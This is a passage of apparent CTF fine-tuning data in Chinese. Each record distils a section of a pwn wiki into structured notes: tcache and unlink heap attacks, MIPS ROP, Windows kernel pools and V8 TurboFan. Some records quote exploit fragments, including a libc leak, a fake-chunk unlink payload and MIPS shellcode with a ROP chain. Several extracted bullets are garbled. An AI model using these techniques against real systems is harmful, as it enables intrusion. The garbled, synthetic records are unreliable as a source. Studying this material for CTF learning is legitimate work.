"original_id": "docs-d512428172949aac9486", "original_line": 829, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "source_root": "docs", "source_sha256": "05a9c458be1e0d960cf97f14bb2dcbca7c76bc21aaf90f606e02263f7b1cc4c7", "split": "train", "split_group_key": "77669e035273f47a314f0b5a", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "在内存中直接搜索 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b636caf5f04f9d31f48e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「libc 2.26 tcache 利用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import * > Challenge 3 : 2014 HITCON stkof > libc 2.26 tcache 利用方法\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“libc 2.26 tcache 利用方法”展开。\n- 本题可以溢出较长字节，因此可以覆盖 chunk 的 fd 指针，在 libc 2.26 之后的 tcache 机制中，未对 fd 指针指向的 chunk 进行 size 检查，从而可以将 fd 指针覆盖任意地址。\n- = ptr_addr_length): break if len(ptr_addr) !\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 126 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3570, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "libc 2.26 tcache 利用方法", "heading_path": ["from pwn import *", "Challenge 3 : 2014 HITCON stkof", "libc 2.26 tcache 利用方法"], "original_id": "docs-aa028f6261f238914865", "original_line": 1064, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "aa3f26d98e9898dca872c4f5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b6bcb0d32e4bf9c9099d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「地址泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 地址泄露\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“地址泄露”展开。\n- 此时的堆已经出现交叉了，接下来将 A 大小从 unsorted bin 中分配出来，就可以使得 libc 地址落入 B 中：\n- ```python # step 3: leak, fill up for i in range(7): new(0x10, str(i) + ' - tcache') new(0x10, '8 - fillup')\n- libc_leak = u64(show(0).strip().ljust(8, '\\x00')) p.info('libc leak {}'.format(hex(libc_leak))) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = libc_leak - 0x3ebca0 ```\n- `` +-----+ | | <-- tcache perthread 结构体 +-----+ | ... | <-- 6 个 tcache 块 (free) +-----+ | A | <-- 已分配 +-----+ | B | <-- 已分配 --------+> 一个大 free 块 +-----+ | | C | <-- free | +-----+ --------+ | | <-- tcache 块，防止 top 合并 (free) +-----+ | top | | .. | ``\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 8 行，首行 `# step 3: leak, fill up`\n- plain: 15 行，首行 `+-----+`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 623, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "地址泄露", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x05 The pwn of CTF", "Challenge 1 : LCTF2018 PWN easy_heap", "利用步骤", "地址泄露"], "original_id": "docs-48641953168202512de2", "original_line": 1057, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "97af106ef1e83e30d80c7352", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b6bf96da549e45c5bc03", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「arena」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > arena\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“arena”展开。\n- Fall back to sysmalloc to get a chunk from mmap. / if (__glibc_unlikely(av == NULL)) { void *p = sysmalloc(nb, av);\n- ``c++ / There are no usable arenas.\n- = NULL) alloc_perturb(p, bytes);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 7 行，首行 `/* There are no usable arenas. Fall back to sysmalloc to get a chunk from`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 217, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "arena", "heading_path": ["申请内存块", "_int_malloc", "arena"], "original_id": "docs-51502d153c2d85a5464e", "original_line": 1142, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "b1284486731bccde223fe186", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b6e2b4183f082622568c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「IO 缓冲区问题分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2014 HITCON stkof > IO 缓冲区问题分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IO 缓冲区问题分析”展开。\n- ` pwndbg> heap Top Chunk: 0x1e9b010 Last Remainder: 0 0x1e9a000 PREV_INUSE { prev_size = 0, size = 4113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1e9b010 PREV_INUSE { prev_size = 0, size = 135153, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, b...\n- 具体如下，可以进行调试查看 初次调用 fgets 时，malloc 会分配缓冲区 1024 大小。\n- 值得注意的是，由于程序本身没有进行 setbuf 操作，所以在执行输入输出操作的时候会申请缓冲区。\n- 但是，比较有意思的是，如果我们是 attach 上去的话，第一个缓冲区分配的大小为 4096 大小。\n- 这里经过测试，会申请两个缓冲区，分别大小为 1024 和 1024。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 30 行，首行 `*RAX 0x0`\n- plain: 19 行，首行 `pwndbg> heap`\n- plain: 27 行，首行 `pwndbg> heap`\n- plain: 30 行，首行 `*RAX 0x0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3775, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "IO 缓冲区问题分析", "heading_path": ["触发 system('/bin/sh')", "2014 HITCON stkof", "IO 缓冲区问题分析"], "original_id": "docs-009fc228acc0b487370a", "original_line": 1080, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "a58dc0fe9da6089d16a38555", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b70c65c77c045815afc4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「构造 fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：构造 fake chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造 fake chunk”展开。\n- fake_chunk = p64(0) # prev_size fake_chunk += p64(0x41) # size (0x40 + 0x1, PREV_INUSE=1) fake_chunk += p64(ptr - 0x18) # fd fake_chunk += p64(ptr - 0x10) # bk fake_chunk += b\"c\" * 0x20 # 填充到 chunk0 数据区末尾 fake_chunk += p64(0x40) # 覆盖 chunk1 的 prev_size fake...\n- print(\"[*] Step 3: Triggering overflow and unlink...\") change(0, 0x80, fake_chunk) remove(1) # 触发 unlink\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 419, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "构造 fake chunk", "heading_path": ["构造 fake chunk"], "original_id": "docs-e3208b655d51a7f18f64", "original_line": 1077, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "828b1cf324a1af7fd57a46ca", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b70e42fcea5c15479eee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/turbofan.md` 中的章节「TurboFan JIT Compiler」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/turbofan.md`\n标题：TurboFan JIT Compiler\n章节：TurboFan JIT Compiler\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“TurboFan JIT Compiler”展开。\n- 对于全量代码编译的场景，大部分代码可能就执行一到两次，那么这个这个时候使用解释执行的方式去运行 JavaScript 代码的效率是比传统的 JIT 编译运行是要高的，但当一段代码需要被反复多次执行时，使用 JIT 编译的方式去运行的整体销量就比解释执行要高了——由此我们编有 V8 的 JIT compiler：TurboFan Compiler ，当一段代码被反复执行多次、或是手动指定要编译时，Ignition 便会将 bytecode 传递给 TurboFan，由其进行 JIT 编译生成对应架构的机器码 [...\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 347, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "TurboFan JIT Compiler", "heading_path": ["TurboFan JIT Compiler"], "original_id": "docs-86daaeccea5e2597df92", "original_line": 630, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/turbofan.md", "source_root": "docs", "source_sha256": "65388b1609497711c6d8be47a171a5c031d15127e8ac18d785fe100087dc8377", "split": "train", "split_group_key": "cdfad8bf3571d5b4f802ac8a", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "TurboFan JIT Compiler"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/turbofan.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b807301beca20a4ab3dc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/dev.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/dev.md`\n标题：QEMU 设备模拟\n章节：QEMU 设备模拟 > REFERENCE\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- 《QEMU/KVM 源码解析与应用》——李强 著 【HARDWARE.0x00】PCI 设备简易食用手册 【VIRT.0x02】系统虚拟化导论\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 203, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["QEMU 设备模拟", "REFERENCE"], "original_id": "docs-6667c5a1c4bb995b223c", "original_line": 1423, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "source_root": "docs", "source_sha256": "41590b7d3b5bf28fb92791006d4d4424426415991f7ae4cd6f8fc7e877f50dd1", "split": "train", "split_group_key": "cde6a8c3838b481f9381c48e", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "basic-knowledge"], "title": "QEMU 设备模拟"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b82257795792ca240061", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「.text:00125698 jalr $t9」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：.text:00125698 jalr $t9\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.text:00125698 jalr $t9”展开。\n- shellcode = b\"\" shellcode += b\"\\xff\\xff\\x06\\x28\" # slti $a2, $zero, -1 shellcode += b\"\\x62\\x69\\x0f\\x3c\" # lui $t7, 0x6962 shellcode += b\"\\x2f\\x2f\\xef\\x35\" # ori $t7, $t7, 0x2f2f shellcode += b\"\\xf4\\xff\\xaf\\xaf\" # sw $t7, -0xc($sp) shellcode += b\"\\x73\\x68\\x0...\n- pay = b'' pay += b'a'508 pay += p32(set_s2_addr+libc_base) pay += b'b'24 pay += b'1111' #s0 pay += b'2222' #s1 pay += p32(jr_t9_jr_ra+libc_base) #s2 - > set a0 pay += p32(sleep+libc_base) #s3 pay += b'5555' #s4 pay += p32(jr_a1+libc_base) #s5 pay += b'7777'...\n- log.info(hex(0x94A10+libc_base)) log.info('addiu_a0_sp_24: {}'.format(hex(addiu_a1_sp+libc_base))) with open('payload','wb') as f: f.write(pay)\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": ".text:00125698 jalr $t9", "heading_path": [".text:00125698 jalr $t9"], "original_id": "docs-373aaeb79df7b751103b", "original_line": 1245, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "0469a900d4dcd0f35adb0436", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b837eac5aa3f331297e4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「内存释放基本算法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 内存释放基本算法\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内存释放基本算法”展开。\n- 在 Chunk header 当中存放着该 Chunk 所属的 Pool Type & Index，因此释放时可以直接判断归属的 Pool 与对应的 List，具体释放流程如下： - 首先检查该 Chunk 是否为页的第一个 Chunk （页对齐），若是则尝试调用 nt!\n- ExDeferredFreePool 函数清空 PendingFrees List） - 检查相邻低地址、高地址 Chunk 状态，合并空闲块，需要注意这里 _不会与下一张内存页的头部 Chunk 合并_ - 最后检查该 Chunk 所在 Page 是否为空闲页，若是则调用 nt!\n- 池内存的释放核心函数是 ExFreePoolWithTag( PVOID Entry, ULONG Tag) ，内核组件与驱动通常通过该 API 或是更上层的 Wrapper 完成内核中的内存释放请求。\n- MiFreePoolPages() 进行回收，否则放回对应的 ListHeads 链表\n- MiFreePoolPages() 进行回收，成功则直接返回 - 接下来检查物理相邻高地址 Chunk 的 PrevSize 是否与该 Chunk header 记录的 Size 相等，若否会报错 - 如果 Size 小于某个特定值，尝试放回相应的 Lookaside List 中 - 如果对应的 Pool 设置了 DELAY_FREE 标志位，放回 PendingFrees List（如果PendingFreeDepth 大于某个特定值，会先调用 nt!\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 664, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "内存释放基本算法", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）", "内存释放基本算法"], "original_id": "docs-59482bfc3f7058f48b00", "original_line": 1458, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "d1b9bef1652b0c87b2c0a9f4", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b85b173a641fad40661f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_put()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > tcache_put()\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tcache_put()”展开。\n- source code ``C / Caller must ensure that we know tc_idx is valid and there's room for more chunks. / static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);\n- } ` tcache_puts() 完成了把释放的 chunk 插入到 tcache->entries[tc_idx]` 链表头部的操作，也几乎没有任何保护。\n- assert (tc_idx < TCACHE_MAX_BINS);\n- ++(tcache->counts[tc_idx]);\n- e->next = tcache->entries[tc_idx];\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 11 行，首行 `/* Caller must ensure that we know tc_idx is valid and there's room`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 536, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "tcache_put()", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "tcache_put()"], "original_id": "docs-8d259f1021ee33244754", "original_line": 1189, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "173aaffbe9616d70615128f3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b898ed40f6d8e8709e83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。\n- 栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。\n- 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。\n- 此外，我们也不难发现，发生栈溢出的基本前提是： - 程序必须向栈上写入数据。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 189, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["栈溢出原理", "介绍"], "original_id": "docs-31fc275d0c8c36c1db5e", "original_line": 1300, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "source_root": "docs", "source_sha256": 